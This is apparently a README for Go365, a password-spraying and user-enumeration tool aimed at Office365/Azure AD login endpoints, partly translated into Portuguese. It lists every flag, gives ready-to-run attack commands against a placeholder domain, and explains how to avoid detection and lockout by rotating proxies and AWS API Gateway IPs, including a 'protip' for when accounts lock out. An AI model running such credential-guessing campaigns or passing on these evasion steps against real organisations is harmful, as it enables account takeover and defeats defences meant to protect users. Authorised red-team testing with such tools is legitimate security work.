
Uma ferramenta de ataque a usuários do Office365
Por favor, leia todo este README antes de usar o Go365!
Go365 é uma ferramenta projetada para realizar enumeração de usuários* e ataques de adivinhação de senhas em organizações que usam Office365 (agora/em breve Microsoft365). Go365 usa um endpoint único da API SOAP em login.microsoftonline.com que a maioria das outras ferramentas não usa. Quando consultado com um endereço de e-mail e senha, o endpoint responde com um código de Autenticação e Autorização do Azure AD. Esse código é então processado pelo Go365 e o resultado é exibido na tela ou em um arquivo de saída.
* A enumeração de usuários é realizada em conjunto com uma tentativa de adivinhação de senha. Portanto, não há uma flag ou funcionalidade específica para realizar apenas a enumeração de usuários. Em vez disso, realize seu primeiro ataque de adivinhação de senha e então analise os resultados para encontrar usuários válidos.
Baixe um binário pré-compilado para seu SO AQUI.
Baixe o código-fonte e compile localmente.
go build Go365.go
$ ./Go365
██████ ██████ ██████ ██████
██ ██ ██ ██
██ ███ ████ █████ ███████ ██████
██ ██ ██ ██ ██ ██ ██ ██
██████ ████ ██████ ██████ ██████
Version: 2.0
Authors: paveway3, h0useh3ad, S4R1N, EatonChips
Usage:
-h Shows this stuff
Required - Endpoint:
-endpoint [rst or graph] Specify which endpoint to use
: (-endpoint rst) *Classic Go365!* login.microsoftonline.com/rst2.srf. SOAP XML request with XML response
: (-endpoint graph) login.microsoft.com/common/oauth2/token. HTTP POST request with JSON Response
Required - Usernames and Passwords:
-u <string> Single username to test
: Username with or without "@domain.com"
: Must also provide -d flag to specify the domain
: (-u [email protected])
-ul <file> Username list to use (overrides -u)
: File should contain one username per line
: Usernames can have "@domain.com"
: If no domain is specified, the -d domain is used
: (-ul ./usernamelist.txt)
-p <string> Password to attempt
: Enclose in single quotes if it contains special characters
: (-p password123) or (-p 'p@s$w0|2d')
-pl <file> Password list to use (overrides -p)
: File should contain one password per line
: -delay flag can be used to include a pause between each set of attempts
: (-pl ./passwordlist.txt)
-up <file> Userpass list to use (overrides all the above options)
: One username and password separated by a ":" per line
: Be careful of duplicate usernames!
: (-up ./userpasslist.txt)
Required/Optional - Domain:
-d <string> Domain to test
: Use this if the username or username list does not include "@targetcompany.com"
: (-d targetcompany.com)
Optional:
-w <int> Time to wait between attempts in seconds.
: Default: 1 second. 5 seconds recommended.
: (-w 10)
-delay <int> Delay (in seconds) between sprays when using a password list.
: Default: 60 minutes (3600 seconds) recommended.
: (-delay 7200)
-o <string> Output file to write to
: Will append if file exists, otherwise a file is created
: (-o ./Go365output.out)
-proxy <string> Single SOCKS5 proxy server to use
: IP address and Port separated by a ":"
: SOCKS5 proxy
: (-proxy 127.0.0.1:1080)
-proxyfile <string> A file with a list of SOCKS5 proxy servers to use
: IP address and Port separated by a ":" on each line
: Randomly selects a proxy server to use before each request
: (-proxyfile ./proxyfile.txt)
-url <string> Endpoint to send requests to
: Amazon API Gateway 'Invoke URL'
: Highly recommended that you use this option. Google it, or
: check this out: https://bigb0sss.github.io/posts/redteam-rotate-ip-aws-gateway/
: (-url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login)
-debug Debug mode.
: Print xml response
./Go365 -endpoint rst -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5
./Go365 -endpoint rst -up ./userpass_list.txt -delay 3600 -d pwnthisfakedomain.com -w 5 -o Go365output.txt
./Go365 -endpoint graph -u legituser -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxy 127.0.0.1:1080
./Go365 -endpoint rst -u legituser -pl ./pass_list.txt -delay 1800 -d pwnthisfakedomain.com -w 5 -o Go365output.txt -proxyfile ./proxyfile.txt
./Go365 -endpoint graph -ul ./user_list.txt -p 'coolpasswordbro!123' -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login
You can even schedule out your entire password guessing campaign using the -pl and -delay flags :)
./Go365 -endpoint rst -ul ./user_list.txt -d pwnthisfakedomain.com -w 5 -o Go365output.txt -url https://notrealgetyourown.execute-api.us-east-2.amazonaws.com/login -proxyfile listofprox.txt -pl listofpasswords.txt -delay 7200
*Protip: If you get a lot of "Account locked out" responses, then you might wanna proxy or use an AWS Gateway.
dica profissional: Você provavelmente não está realmente bloqueando contas.
Após um certo número de consultas contra um domínio alvo, os resultados podem começar a reportar que as contas estão bloqueadas.
Uma vez que essa defesa é acionada, a enumeração de usuários se torna não confiável, pois requisições para usuários válidos e inválidos reportarão aleatoriamente que suas contas foram bloqueadas.